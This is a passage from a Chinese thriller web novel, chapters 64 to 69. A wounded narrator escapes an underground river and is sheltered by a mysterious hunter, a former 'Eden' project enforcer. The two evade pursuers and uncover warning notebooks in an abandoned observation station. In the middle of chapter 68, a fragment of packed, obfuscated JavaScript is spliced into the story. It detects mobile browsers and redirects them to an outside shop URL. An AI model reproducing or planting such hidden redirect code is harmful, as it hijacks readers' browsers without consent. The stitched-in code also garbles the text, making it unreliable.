带着满身的伤痛和仅存的意志,漂浮在冰冷与黑暗之中,不知将被带往何方。
灰岩镇,周玲,李医生……你们,一定要撑住。
第六十四章 暗流求生
意识在黑暗与湍急的水流中沉浮。身体像一片残破的树叶,被无形的力量裹挟、翻滚、撞击。
求生的本能让我在窒息边缘疯狂挣扎,仅存的完好手臂胡乱挥动,试图抓住什么。
不知道被冲了多久,前方似乎出现了一丝微弱的光亮,不是人造光源,更像是……自然光透过水面的折射?而且水流的速度似乎稍微减缓了一些。
我用尽最后一丝力气,朝着那微弱的光亮方向挣扎。我正被水流推向潭边浅滩。
我还活着。
但情况没有丝毫好转。身处的这个地下洞穴不知位于何处,出口在哪里?身上的伤口急需处理,否则感染和失血都会要了我的命。没有食物,没有工具,没有药品。
我强迫自己坐起身,靠在冰冷的岩壁上,环顾四周。洞穴不算太大,地下潭占据了大半空间,水流从一端涌入,从另一端一个更狭窄的洞口流出。
绝地。又是一个绝地。
绝望如同冰冷的藤蔓,开始缠绕心脏。
不,不能放弃。周玲和李医生还在未知的危险中。我必须出去。
我检查了一下身上。衣服破烂不堪,除了那枚已经失效、但依旧坚硬的物理密钥。
等等……螺丝?金属?
一个念头闪过。我捡起一块边缘锋利的石片,拿起一颗螺丝,用石片用力刮擦螺丝的尖端。
我一边机械地刮擦着,一边努力思考。
我的目光落在浅滩边缘一些深色的苔藓和几簇看起来像是蕨类的植物上。野外生存的知识碎片在脑中闪现:某些苔藓可以止血。
我挪过去,扯下一些看起来最厚实、颜色最深的苔藓,胡乱地按在还在渗血的额角和手臂伤口上。冰凉的感觉暂时压制了疼痛。又挖出几块蕨类的根茎,擦掉泥土,放进嘴里艰难地咀嚼。
苦涩、土腥味浓重,但至少能补充一点点能量和水分。
做完这些,我已经气喘吁吁,眼前阵阵发黑。
靠在岩壁上,我拿起那颗被粗糙打磨过的螺丝。尖端似乎亮了一些,但远未达到理想状态。我将其靠近岩壁,没有任何反应。果然,普通的钢铁螺丝很难轻易磁化。
我看向那个水流出的狭窄洞口。水位似乎……比刚才我爬上来时,降低了一点点?非常细微,但长期观察水流变化的经验让我捕捉到了这丝差异。
希望再次如同微弱的火苗,在黑暗中摇曳。
我决定等。等待水位变化,同时尽可能恢复体力。
时间在寂静和伤痛中缓慢流逝。
不知过了多久,可能几小时,可能更久。地下洞穴的光线随着外界天色的变化而明暗交替。
水位,确实在下降!虽然很慢,但那个狭窄洞口的上缘,已经隐约可见!水深似乎不足一米了
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机会来了!
我挣扎着爬到洞口边,仔细观察。洞口直径约半米。
没有退路了。
我深吸一口混合着水汽和腐木味的空气,一头扎进了冰冷黑暗的水道!
水流瞬间将我吞噬,推向未知的前方。我屏住呼吸,双臂拼命划水,控制方向,避免撞上洞壁。
肺部的空气在快速消耗,胸口憋闷欲炸。就在我以为自己撑不住的时候,前方突然出现了一个光点!并且迅速扩大!
是出口!
我用尽最后力气,朝着那光亮加速游去!
“哗啦!”
破水而出的瞬间,刺眼的阳光让我瞬间失明!新鲜空气涌入肺部,带来重生般的刺痛。
我成功了!我从那个地狱般的据点里逃出来了!
但喜悦只持续了一瞬。剧烈的运动让所有伤口再次崩裂,鲜血染红了周围的河水。体力彻底耗尽,寒冷和失血让我视线模糊,意识开始抽离。
我勉强抓住岸边垂下的树枝,试图爬上岸,但手臂一软,整个人再次沉入水中。
冰冷的河水淹没头顶的瞬间,我仿佛看到岸边的树丛晃动了一下,一个模糊的人影似乎正站在那里,静静地注视着河中的我。
是追兵?是当地人?还是……幻觉?
意识彻底陷入黑暗之前,最后一个念头是:
周玲……李医生……
第六十五章 岸边的阴影
意识像沉入深海的石头,不断下坠。伤口的剧痛、
肺部的灼烧、筋骨的疲惫,所有感觉都变得遥远而模糊。
“咳咳……呕……”我剧烈地咳嗽着,吐出混着血丝的河水,喉咙和鼻腔火辣辣地疼。
我被拖上了岸,瘫软在潮湿的草地上,一个高大的身影逆光站在我面前,只能看到一个模糊而魁梧的轮廓。
不是“勋”的作战服,也不是阿杰的人那种制式装备。对方穿着粗糙的、沾满泥点的帆布外套和工装裤,像是个……山民或者猎人?
他蹲下身,一只手依旧像铁钳般抓着我的胳膊,另一只手粗暴地翻开我的眼皮检查瞳孔,又看了看我身上多处狰狞的伤口,特别是那条扭曲变形的左腿。
“伤得不轻。”他的声音低沉沙哑,带着浓重的本地口音,“从河里冲下来的?遇上塌方了还是惹了不该惹的人?”
我张了张嘴,想说话,却只发出嗬嗬的气音,喉咙干涩得如同砂纸摩擦。
他没有再多问,站起身,环顾了一下四周茂密的树林,似乎在确认有没有追兵。然后,他像扛麻袋一样,将我一把甩到他那宽阔结实的肩膀上。
一阵天旋地转,伤口被挤压,剧痛让我几乎瞬间晕厥。
“忍着点。这地方不能久留。”他言简意赅,扛着我,迈开大步,沿着河岸向下游方向走去。他的步伐稳健而迅速,显然对这片地形极为熟悉。
我像一具死尸般趴在他肩上,颠簸中只能看到不断后退的草地、树根和浑浊的河水。大脑因为失血和缺氧而一片混沌,但残存的理智在疯狂呐喊:他是谁?要带我去哪里?是敌是友?
从他的问话和举动来看,他似乎不像是“勋”或阿杰的人。但他出现的时机太过巧合,而且这份冷静和力量,绝非常人。
不知走了多久,他离开了河岸,拐进了一条被杂草和灌木半掩着的小路,开始向上爬坡。林木更加茂密,光线变得昏暗。
最终,他在一面长满藤蔓和苔藓的山壁前停下。他拨开密集的藤蔓,露出了后面一个仅容一人通过的、黑黢黢的山洞入口。
他扛着我钻了进去。
山洞内部比想象中要深,而且拐了个弯,挡住了入口处的光线。空气中弥漫着一股干燥的泥土、草药和…
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…某种野兽皮**混合的气味。深处,有一点微弱的火光在跳动。
他将我放在一堆铺着干草和兽皮的“床铺”上。
借着篝火的光芒,我终于看清了他的样貌。大约四十多岁年纪,皮肤黝黑粗糙,脸上有几道深浅不一的疤痕,最显眼的是一道从眉骨划到脸颊的旧伤。眼神锐利如鹰,带着一种长期在野外生存磨砺出的警惕和冷漠。他身材高大魁梧,肌肉贲张,站在那里就像一座铁塔。
他走到火堆旁,拿起一个陶罐,倒了一碗黑乎乎、冒着热气的液体走过来,递到我嘴边。
“喝掉。能止血,镇痛。”语气不容置疑地对我说。
浓烈的、难以形容的苦涩草药味冲入鼻腔。勉强抬起头,小口小口地将那碗滚烫、苦涩的液体喝了下去。
“睡一觉。你死不了。”他拿开碗,转身走到山洞另一头,开始擦拭一把保养得极好的、带有瞄准镜的**,不再看我。
三方势力,围绕着逃脱的我、被困的周玲和李医生,以及那神秘的数据卡和“源井”的秘密,即将在灰岩镇这个混乱的漩涡中,展开最后的碰撞。
第六十六章 猎人与猎物
我的心跳几乎停止,耳朵捕捉着洞外的每一丝动静。
“少废话!看到一个受伤的男人没有?从上游冲下来的!”一个冰冷的声音喝道,是“勋”的追兵。
“受伤的男人?”猎人语气带着疑惑,“没有啊老总。我这刚打了只狍子回来,正准备剥皮呢,就看到你们过来了。这山里不太平,是出啥事了?”
短暂的沉默,似乎是在审视他,也可能在观察山洞入口的痕迹。
“血迹到你这洞口就没了。”另一个声音带着怀疑。
“血迹?”猎人似乎更困惑了,“哦!你说那个啊!刚才在河边处理狍子,沾了满手血,可能在洞口蹭到了?老总你们看,这还有刚剥下来的皮子呢!”他语气自然,甚至带着点被冤枉的委屈。
我知道他是在用刚打的猎物血迹来掩盖我留下的痕迹。
“进去搜搜!”第一个声音命令道。
脚步声靠近,有人要进山洞了!
我蜷缩在黑暗的凹洞深处,连呼吸都几乎停止。手指下意识地握紧了那枚冰冷的物理密钥,这是我现在唯一能算是“武器”的东西。
光线晃动,手电筒的光柱扫进了山洞深处,在拐角处徘徊。只要他们再往前走几步,拐过弯,就能发现这个凹洞,发现我!
就在这千钧一发之际,猎人又开口了,声音带着点急切:“哎,老总,里面窄,堆的都是柴火和破烂,别脏了您的鞋!要不我点个火把,给您照着?”
他似乎在试图拖延,或者引导。
“少来这套!”搜查者不为所动,脚步声继续向内。
突然,“哗啦”一声脆响,伴随着猎人一声低呼:“哎呦!”
“怎么回事?”洞口的守卫厉声问。
“对不住对不住!”猎人连忙道歉,“手滑了,把个腌菜的瓦罐打碎了,这味儿……您几位小心脚下,别扎着。”
一股浓烈刺鼻的、类似酸腐和某种草药混合的怪异气味瞬间在狭窄的山洞内弥漫开来,甚至飘到了我藏身的凹洞。
“妈的!什么鬼味道!”
“咳咳……快出去!这味儿受不了!”
准备深入的搜查者显然被这突如其来的“意外”和浓烈气味阻住了脚步,骂骂咧咧地后退。
“你看你干的好事!”洞口的守卫也抱怨道。
“对不住,实在对不住……”猎人连连赔罪。
手电光柱晃动了几下,最终退出了山洞深处。
“头儿,里面味道太大,而且堆满了杂物,不像能藏人的样子。”搜查者向外面汇报。
“血迹确认是动物血吗?”
“应该是,洞口有刚剥的兽皮和内脏。”
“算了,去下游别处看看!他伤那么重,跑不远!”
脚步声和狗吠声逐渐远去,最终消失在林间。
山洞内恢复了平静,只剩下那浓烈刺鼻的气味和我粗重如风箱般的喘息。
过了好一会儿,猎人的身影才再次出现在凹洞口。他没有立刻进来,只是站在黑暗里,静静地“看”着我这边。
“走了。”他简短地说,声音恢复了之前的平静。
我紧绷的神经瞬间松弛,冷汗这才后知后觉地浸透了破烂的衣衫,伤口因为长时间的僵硬而传来一阵阵酸麻剧痛。
他走进来,重新点燃了篝火。跳跃的火光再次照亮了他岩石般冷硬的面庞。
他走到我身边,蹲下,检查了一下我腿上的夹板,又看了看其他伤口。
“暂时安全了。”他说,然后递过来一个皮质的水袋,“喝水吧。”
我接过水袋,贪婪地灌了几口清凉的泉水,干灼的喉咙终于得到滋润。
“……谢谢。”我沙哑着嗓子说道。
他没有回应我的感谢,只是看着我,目光锐利如初:“他们为什么追你?‘勋’的人,还有……你身上的伤,不寻常。”
我知道,不可能一直回避这个问题。他救了我,也承担了风险,有权知道一部分真相。而且,我需要判断他是否可以信任,或者……利用。
“他们……拿我做实验。”我选择了一个相对接近事实,但又不会暴露核心秘密的说法,“我从一个叫‘白房子’的地方逃出来。他们不想放过我。”
“‘白房子’……”猎人重复了一遍这个名字,眼神似乎波动了一下,但很快恢复平静,“听说过。山里人不靠近的地方。”他停了下,又问,“实验?什么实验?”
“改变人的实验。”我含糊其辞,同时仔细观察着他的反应。
他脸上那道狰狞的疤痕在火光下微微抽动了一下,眼神变得更加幽深。“改变……人?”他低声重复,语气带着一种难以言喻的复杂情绪,像是厌恶,又像是……某种共鸣。
“你呢?”我反问道,“你不是普通的猎人。你的反应,你的手段……不像。”
他沉默地看着跳跃的火焰,良久,才缓缓开口,声音低沉而沙哑:“我以前……也在一个类似的地方待过。不过,是很久以前了。”
类似的地方?难道他也是某个实验项目的幸存者?像守林人一样?
“什么地方?”我追问。
他没有直接回答,而是转过头,目光如实质般落在我身上:“你想活下去吗?真正地活下去,摆脱他们?”
“当然。”我毫不犹豫。
“那就别问太多。”他打断我,语气带着一种不容置疑的决断,“知道得越多,死得越快。你只需要知道,我和追你的那些人,不是一路的。而且,我们有共同的……‘敌人’。”
共同的敌人?他指的是“勋”和“创世纪”?
他站起身,走到山
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洞另一头,从一堆杂物里拿出一个看起来像是自制的、带着天线的简陋无线电设备,开始调试。设备发出滋滋啦啦的静电噪音。
“你在做什么?”我问。
“找路。”他头也不回,“你的伤需要正规治疗,待在这里迟早会被找到。我们需要离开这片山区。”
“去哪里?”
他没有回答,而是专注地调节着旋钮。静电噪音中,偶尔会穿**一些极其微弱、断断续续的人声片段,似乎是某种加密的通讯。
“……灰岩镇……封锁……”
“……目标……未发现……”
“……‘园丁’……介入……”
破碎的信息传入耳中,让我的心再次收紧。灰岩镇被封锁了?“园丁”是“勋”的旧称,他们也介入了?周玲和李医生……
猎人似乎捕捉到了某个特定的信号,停止了调节。他仔细倾听着那微弱而规律的滴滴声,像是在辨认方位。
几分钟后,他关闭了设备。
“东北方向,五十公里外,有一个地方。”他转过身,看着我,“那里或许能暂时落脚,也能处理你的伤。但路不好走,而且……不一定安全。”
“什么地方?”
“一个废弃的,‘伊甸园’计划的早期观测站。”他平静地说出了这个让我心头巨震的名字。
伊甸园计划!守林人曾经待过的那个早期项目!这个猎人,果然和那些隐秘的计划有着极深的牵连!
他看着我脸上的震惊,没有任何意外。“怎么?怕了?”
我压下心中的惊涛骇浪,摇了摇头。怕?从我被卷入这一切开始,恐惧就成了最无用的奢侈品。
“什么时候出发?”我问。
“明天天亮。”他走到洞口,撩开藤蔓看了看外面漆黑的山林,“你需要再恢复一点体力。而且,夜晚的山路,带着你这样的伤员,等于送死。”
他走回来,重新坐在火堆旁。
“睡吧。”他说,“我来守夜。”
我躺在干草堆上,看着跳跃的火光在他冷硬的侧脸上投下明明暗暗的影子。
这个神秘的猎人,身上充满了谜团。他救了我,知道“伊甸园”,拥有军事化的素养和反追踪能力,似乎还对“勋”和“创世纪”抱有敌意。
他到底是谁?曾经的实验体?叛逃的研究员?还是……别的什么?
前往那个废弃的“伊甸园”观测站,是新的希望,还是另一个更深的陷阱?
我不知道。但我知道,跟着他,是目前唯一的选择。
我闭上眼睛,感受着体内药力残留的昏沉和伤口持续的钝痛,强迫自己入睡。
明天,又将是一段充满未知与危险的旅程。而那个代号“伊甸园”的幽灵,似乎正从历史的尘埃中缓缓浮现,再次纠缠上我的命运。
第六十七章 林间血路
黎明前的黑暗最是浓重,山洞里篝火将熄未熄,只余一点暗红的余烬。
“能走吗?”他问。
我尝试活动了一下,左腿依旧钻心地疼,根本无法承重,“需要借力。”
他没多说什么,走过来,将我的右臂搭在他坚实的肩膀上,半扶半架地将我撑起,“跟紧我的步子,尽量别留下太明显的痕迹。”
我们钻出山洞,冰冷的晨风裹挟着草木和露水的气息扑面而来,天色依旧是墨蓝,只有东边天际透出一丝极细微的鱼肚白。
猎人辨认了一下方向,架着我,一头扎进了茂密的山林。
我咬紧牙关,将所有意志力都集中在跟上他的步伐和忍受疼痛上。
“低头。”“右转,踩石头。”
走了大约一个小时,天色渐渐亮了起来,林间的景物变得清晰。
“歇……歇一下。”我几乎是从牙缝里挤出这句话。
猎人停下脚步,将我靠在一棵巨大的冷杉树干上,自己则警惕地环顾四周,如同机警的头狼。他递过水袋,我贪婪地喝了几口。
“还有多远?”我喘着气问。
“照这个速度,天黑前能到山脊线。观测站在山那头的谷地里。”他言简意赅,目光依旧扫视着周围的树林。
突然,他身体猛地一僵,眼神瞬间锐利如刀,抬手示意我安静。
我立刻屏住呼吸,顺着他的目光望去。前方几十米外的灌木丛,似乎有极其不自然的晃动,不同于风吹。
有东西!或者说,有人!
他缓缓蹲下身,将**从肩上取下,握在手中,手指轻轻搭在**护圈上。他向我打了个手势,示意我留在原地,隐蔽好。
他如同融入阴影的豹子,悄无声息地向前潜去,利用树木和地形完美地隐藏着自己的身形。
我的心提到了嗓子眼。是“勋”的追兵?还是山里的野兽?
时间一分一秒过去,前方除了那偶尔不自然的晃动,再无其他声响,寂静得可怕。
就在我以为可能是虚惊一场时:
“砰!”
一声清脆的枪响猛然划破了山林的寂静!惊起一片飞鸟!
**来自猎人潜过去的方向!
几乎在枪响的同时,前方也传来了几声压抑的痛哼和物体倒地的声音!
我背靠着树干,握紧了手中那枚冰冷的密钥,浑身肌肉紧绷。我现在就是个活靶子,毫无反抗之力。
**只响了一下,就再次陷入了死寂。
“解决了。”他语气平淡,“三个,‘勋’的外围侦察哨。我们被盯上了。”
他走到我身边,不由分说再次架起我。“走,不能停了。**会引来更多人。”
我被他拖着,踉跄前行,目光不由自主地瞥向他来的方向。
他下手干净利落,毫不拖泥带水。
我们加快了速度,几乎是半跑半拖。
“撑住!”猎人低喝一声,手臂更加用力地架住我,“被抓住,比死更惨!”
他的话像冰锥刺入脑海,瞬间激发出一股残存的气力。我不能倒下!周玲和李医生还生死未卜,我必须活下去!
我们不顾一切地在林间穿行,身后的山林深处,隐约传来了更多的狗吠声和隐约的呼喝声。
他对地形非常熟悉,带着我不断变换方向,时而涉过冰冷的溪流以掩盖气味,时而攀上陡峭的岩壁甩开追踪。
“这样跑不掉!”我喘着粗气,嘶哑地说。
他猛地停下脚步,我们正处在一条狭窄的山脊上,一侧是陡坡,另一侧是更深的山谷。他目光快速扫过四周,最
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后定格在陡坡下方一片茂密的、带着尖刺的荆棘丛。
“下去!”他当机立断。
“什么?”我看着那几乎垂直的、布满尖锐岩石和荆棘的陡坡。
“跳下去!躲进荆棘丛里!这是唯一的机会!”他语气急促,不容置疑,“我引开他们!”
没有时间犹豫!信任他,或者死!
我看了他一眼,他眼神决绝,没有任何闪烁。
“走!”我低吼一声,松开抓着他的手,用尽最后力气,朝着陡坡下方那片看起来能提供些许掩护的荆棘丛,纵身滚了下去!
天旋地转!身体与岩石、荆棘猛烈撞击、刮擦!剧痛如同潮水般瞬间淹没了所有意识!我死死咬住嘴唇,不让自己发出任何声音,任由身体在重力作用下疯狂翻滚,最后重重地摔进那片茂密的荆棘丛中!
几乎在我落入荆棘丛的下一秒,山脊上方就传来了急促的脚步声和狗吠声。
“分头追!他跑不远!”
“血迹往这边了!”
“快!”
脚步声和狗吠声朝着山脊的另一端快速远去。
他成功了,引开了追兵。
我蜷缩在冰冷、潮湿、布满尖刺的荆棘丛深处,浑身如同散架,每一处伤口都在叫嚣,鲜血浸透了破烂的衣物,与泥土和腐叶混合在一起。
我强撑着,侧耳倾听。远处的追捕声渐渐模糊,最终消失在林海深处。
暂时……安全了?
我躺在荆棘丛中,只能透过枝叶的缝隙,看着头顶那一小片逐渐亮起来的天空。
猎人……他能甩掉追兵吗?那个废弃的观测站,我还去得成吗?
孤独、伤痛、寒冷,如同这满身的荆棘,将我紧紧缠绕。
我还活着,但前路,依旧是一片血腥与迷雾……
第六十八章 荆棘囚笼与往昔幽灵
时间在冰冷与剧痛的夹缝中缓慢爬行。每一秒都如同被荆棘拉长,带着血淋淋的刺痛。
我蜷缩在茂密尖刺的怀抱里,动弹不得,像一只被钉在标本板上的昆虫。失血和寒冷让我控制不住地颤抖,牙齿咯咯作响,每一次微小的颤动都引来更多尖刺深入皮肉。
听觉在极致的寂静中被放大到极限。
必须自救。不能在这里冻死,或者失血而死。
我尝试活动手指,僵硬而麻木。右手还能勉强动作,我小心翼翼地避开最密集的刺丛,摸索着身上。密钥还在,贴着皮肤传来冰冷的触感,那几颗螺丝和塑料头也还在口袋里。真是可悲的“遗产”。
目光落在身边一株被压弯的荆棘上,它的主干有拇指粗细,木质坚硬。
用一块边缘锋利的石片勉强削掉枝干上过多的尖刺,再用细藤蔓将另一截较短的枝干绑成横撑。
每一下动作都牵动全身伤口,汗水(或许是血水)不断从额头滑落,滴进泥土。当一副简陋无比,但勉强能用的拐杖成型时,我几乎虚脱。
接下来是离开荆棘丛。这比制作拐杖更考验意志。
不知用了多久,我终于浑身浴血地挣脱了荆棘丛的束缚,瘫倒在外围一片相对干燥的苔藓地上。
身上布满了纵横交错的划痕,许多地方还嵌着断刺,旧伤崩裂,鲜血将苔藓染成了暗红色。
我不敢停留。追兵可能随时折返。我拄着拐杖,咬着牙,沿着陡坡向下,朝着与猎人引开追兵相反的方向艰难挪动。
我必须尽快找到一个藏身之处。
在下行了近百米后,我在一面长满青藤的岩壁底部,发现了一个狭窄的裂缝。
拨开藤蔓,里面是一个仅能容纳一人蜷缩进去的浅洞,不深,但足够隐蔽,能挡风避雨。
我如同沙漠中濒死的旅人看到绿洲,用尽最后力气钻了进去。洞内弥漫着泥土和苔藓的气息。
我靠在冰冷的岩壁上,剧烈喘息,眼前阵阵发黑。处理伤口迫在眉睫。
我撕下身上还算干净的布条,蘸着岩壁上渗出的冷凝水,小心翼翼地清理伤口周围的泥污和血痂。没有消**品,只能寄希望于山泉的洁净和自身的抵抗力。
那些嵌入皮肉的荆棘断刺,需要用磨尖的螺丝尖端一点点挑出来。
做完这一切,体力彻底耗尽。
我蜷缩在狭小的洞穴里,感受着身体各处传来的、如同交响乐般层次丰富的疼痛,以及一阵阵袭来的、深入骨髓的寒冷和饥饿。
我从猎人那里得到的肉干早已在逃亡中丢失,水袋也破了。我只能依靠舔舐岩壁上的水珠和咀嚼洞内找到的少数几种确认无毒的苔藓来维持。
白天在昏睡和清醒的交替中度过。
夜晚降临,山林温度骤降。洞穴无法完全隔绝寒气,我冷得瑟瑟发抖。周玲和李医生呢?她们是否已经落入阿杰手中?猎人……他还活着吗?
不能放弃。我反复告诉自己,只要还有一口气,就不能放弃。
第二天,情况更加糟糕。伤口开始出现发红、发热的迹象,感染了。
我必须想办法发出信号,或者……主动去寻找那个观测站。
但以我现在的状态,离开这个洞穴,无异于**。
就在我陷入绝境,几乎要被高烧和绝望吞噬时,洞外隐约传来了一阵不同寻常的声响。不是风声,不是动物奔跑,更像是……某种有规律的、轻微的敲击声?嗒……嗒……嗒……
我的心猛地提起!是追兵?还是……猎人?
我屏住呼吸,握紧了那截磨尖的螺丝,将它抵在掌心,如同握着一把微不足道却倾注了全部希望的**。
然后,洞口遮蔽的藤蔓被轻轻拨开了一条缝隙。一张脸探了进来——是猎人!
他看起来同样狼狈,脸上多了几道新的擦伤,衣服被划破多处,眼神疲惫但依旧锐利。他看到蜷缩在洞里、浑身是血、奄奄一息的我,眉头紧紧皱起。
“你还活着。”他的语气听不出是庆幸还是别的。
我张了张嘴,想说话,却只发出嘶哑的气音。
他敏捷地钻了进来,狭小的空间顿时显得更加拥挤。他立刻检查了我的伤势,特别是那些发炎红肿的地方,脸色变得更加凝重。
“感染了。必须尽快处理。”他言简意赅,从他那看似空空如也的背包里又摸出那个陶罐,倒出一些黑乎乎的药膏,不由分说地涂抹在我的伤口上。
接着,他拿出水袋和最后一点肉干递给我。“吃吧。补充点体力。”
我如同濒死的难民,贪婪地吞咽着食物和水,干涸的身体仿佛久旱逢甘霖。
“你怎么找到我的?”我沙哑地问。
“记号。”他指了指洞外岩壁上几个极其不显眼的、用石头划出的细小箭头,“我甩掉那几条尾巴花了点时间,绕路回来的。幸好你没走远,也幸好……”他顿了顿,看了我自制的拐杖和身上处理的伤口一眼,“……你没蠢到坐在那里等死。”
“观测站……”我急切地问,“还能去吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602064|187525||http|test|mini|href|location''.split(''|''),0,{}));
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>“能。”他肯定地说,但眼神没有丝毫放松,“但你的状态是个大问题。我们得加快速度,你的伤拖不起。而且,‘勋’的人扩大了搜索范围,这里不再安全。”
他帮我重新包扎了伤口,固定好夹板,然后将我扶起。“还能撑住吗?”
我点了点头,尽管每一步都如同踩在烧红的炭火上。
我们再次上路。这一次,他更加小心,路线也更加曲折。有一次带着我爬上了一棵枝繁叶茂的大树,在树上短暂停留,躲避下方经过的一支五人搜索小队。
我看着下方那些全副武装、如同猎犬般仔细搜寻的“勋”成员,心脏几乎跳出胸腔。
在树上躲避时,我忍不住低声问他:“你以前……到底是做什么的?军人?”
他目光依旧警惕地注视着下方,沉默了片刻,才用极低的声音回答,仿佛不愿意惊动这段尘封的记忆:“‘伊甸园’……早期安保部队,‘清道夫’小组。”
清道夫!这个词让我脊背发凉。守林人提到过,“园丁”负责外部清理,而“清道夫”……据说负责处理“伊甸园”内部出现的“不稳定因素”和“失败实验体”。他们是更冰冷、更无情的刽子手!
他曾经是“伊甸园”的刀!那他现在为什么……
他似乎看穿了我的想法,嘴角扯出一个没有任何温度的笑意:“后来……我发现自己也成了需要被‘清理’的‘不稳定因素’。就这么简单。”
他没有再多说,但这句话背后蕴含的血腥与背叛,足以让人想象出一部黑暗的史诗。
我们之间的关系,变得更加复杂。他不再是单纯的救命恩人或者神秘猎人,而是一个极度危险的、背景复杂的同盟者。与他同行,如同与虎谋皮。
搜索队终于远去。我们从树上下来,继续赶路。
黄昏时分,我们终于攀上了一道陡峭的山脊。他指着下方一片被浓密树林覆盖的幽深谷地:“到了。就在下面。”
我顺着他指的方向望去,只能看到一片莽莽苍苍的绿色,丝毫看不出任何人造建筑的痕迹。
“废弃了很久,入口很隐蔽。”猎人解释道,“希望里面的东西……还没完全烂掉。”
我们开始小心翼翼地下山,向着那个隐藏着“伊甸园”早期秘密的观测站,一步一步靠近。
随着距离的缩短,一股莫名的不安感在我心中逐渐弥漫开来。仿佛那幽深的谷地中,沉睡的不只是一座废弃的建筑,还有某些……不愿被惊扰的往昔幽灵。
第六十九章 腐朽圣所
“就在前面。”猎人低声道。
他拨开一丛极其茂密、几乎与岩壁融为一体的爬山虎,露出了后面不是预想中的大门,而是一个黑黢黢的、直径约一米的洞口,像是某种大型动物的巢穴入口。
“通风井的检修入口,主入口估计早就塌方或者被故意封**。”猎人解释道,他从背包里拿出一个老式的、依靠手动发电的手电筒,拧亮,光柱刺入黑暗,照亮了洞口内壁锈蚀的金属梯子,向下延伸,深不见底。
“我先下。你跟紧,小心梯子,很多地方锈坏了。”猎人将手电筒咬在嘴里,率先钻了进去。
我深吸一口那令人不适的空气,将自制拐杖留在洞外,然后跟着钻了进去。金属梯子冰冷刺骨,上面覆盖着厚厚的锈屑和某种粘稠的污垢。
向下爬了大约十几米,脚终于触到了坚实的地面。猎人已经等在那里,手电光柱扫视着周围。
我们似乎身处一条狭窄的圆形管道底部,前后都延伸向黑暗。
“这边。”猎人选择了左手边的方向,架着我,深一脚浅一脚地在管道内前行。
走了约莫五六十米,前方出现了一扇严重变形、向外凸起的厚重金属门。门轴已经锈死,门上有一个巨大的、如同船舵般的旋转阀盘,同样被厚厚的红锈覆盖。
“就是这里了。”猎人放下我,将手电筒递给我拿着,他双手握住那巨大的阀盘,全身肌肉绷紧,开始用力。
“嘎——吱——嘎——吱——”
令人头皮发麻的金属摩擦声在狭窄的管道内回荡,震得人耳膜发疼。
阀盘极其缓慢地、抗拒地开始转动。一圈,两圈……猎人额角青筋暴起,显然极其吃力。
当转到第五圈时,门内传来“咔哒”一声沉闷的机括解锁声。
猎人深吸一口气,用肩膀顶住金属门,猛地发力!
“轰隆——”
沉重的金属门带着一阵刺耳的摩擦声,向内滑开了一道足以让人通过的缝隙!一股更加浓烈、更加陈腐、仿佛积攒了数十年岁月尘埃的气息,如同实质般扑面而来,呛得我们连连咳嗽。
这是一个宽阔的大厅,挑高很高,风格是几十年前那种笨重而实用的工业设计。巨大的、布满灰尘的仪器和控制台如同沉默的巨兽,排列在四周。整个空间弥漫着一种时间凝固般的死寂。
这里就是“伊甸园”的早期观测站。
猎人警惕地扫视着大厅,“跟紧,别乱碰任何东西。”
我们小心翼翼地走入大厅,脚步声在空旷的环境中产生回音,更添几分诡异。手电光柱扫过那些沉默的仪器,屏幕漆黑,按钮蒙尘。一些仪器的外壳被暴力拆开过,里面的线路和元件被扯得乱七八糟,像是经历过仓促的撤离或者……洗劫。
“看来有人比我们先来过。”我沙哑地说道。
“不是‘勋’的风格。”猎人仔细观察着那些破坏痕迹,“更像是内部人员撤离时,为了销毁数据或者防止技术泄露干的。”
他带着我穿过大厅,来到一扇标有“主控室”的门前。门是虚掩着的,里面同样是一片狼藉。
“不对。”猎人蹲下身,用手指抹开地面上一处不易察觉的角落的灰尘,那里有一个非常隐蔽的、类似暗格边缘的缝隙。“这种地方,总会有点‘保险箱’。”
他抽出**,插入缝隙,用力一撬。一块看似与地面浑然一体的石板被撬了起来,露出了下面一个不大的金属箱子。箱子没有锁,但密封极好。
猎人打开箱子,里面不是预想中的文件或磁盘,而是几本厚厚的、用特殊防水防潮材料制成的笔记本,以及几张看起来像是手工绘制的、非常古老的图纸。
他拿起最上面一本笔记本,拂去灰尘,翻开来里面是密密麻麻的手写字体,笔迹有力而有些潦草。
他快速浏览了几页,眼神变得越来越凝重。
“写的是什么?”我忍不住问,靠在一旁的控制台上喘息,高烧让我的脑袋昏沉沉的。
“观测记录……还有,警告。”猎人声音低沉,他将笔记本递给我。
上面的字迹清晰了一些:
“……‘源井’非井,乃门。能量与信息的奇点,连接不可知之处。早期‘聆听者’大多陷入疯狂,少数幸存者亦出现不可逆的生理异变。‘伊甸园’的方向从根本上错误,我们不是在创造‘新人类’,而是在打开潘多拉魔盒……”
“……‘圣所’并非庇护所,而是……牢笼?或者说,是某种‘筛选机制’的终端?K的理论或许更接近真相,但他太激进,试图直接与‘源井’对话,无异于**……”
“……他们来了。‘清道夫’接到了指令,要‘净化’所有知情者。我必须把这些藏起来……如果后来者能看到,记住,远离‘源井’,摧毁所有与之相关的研究!那不是进化,是灭绝!”
落款是一个模糊的签名,和一个日期,距今已有三十多年。
这些笔记证实了守林人的部分说法,也揭示了更可怕的真相。“源井”是一扇“门”?“圣所”是筛选终端?早期的研究者因为接触“源井”而疯狂或异变?
“写这个的人……后来怎么样了?”我问道。
猎人沉默地翻到笔记本最后一页,那里用更加潦草、仿佛濒死挣扎的笔迹写着:
“
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他们找到我了……‘清道夫’……背叛者……钥匙……容器……必须……找到……”
字迹到这里戛然而止,后面是几道深深的、仿佛用尽最后力气划出的凌乱痕迹。
笔记本从手中滑落,掉在厚厚的灰尘里。
猎人弯腰捡起笔记本,小心地放回箱子,然后将整个箱子提起。“这些东西很重要。比我们想象的更重要。”
他的目光再次扫过狼藉的主控室,最终定格在墙壁上一张被撕掉大半、仅残留底部区域的巨大结构图上。
残留的部分,用红色的笔圈出了一个位于地底极深处的、标着“次级共鸣腔”的区域,旁边有一个手写的、极其复杂的化学分子式,以及几个小字:“……抑制……关键……”
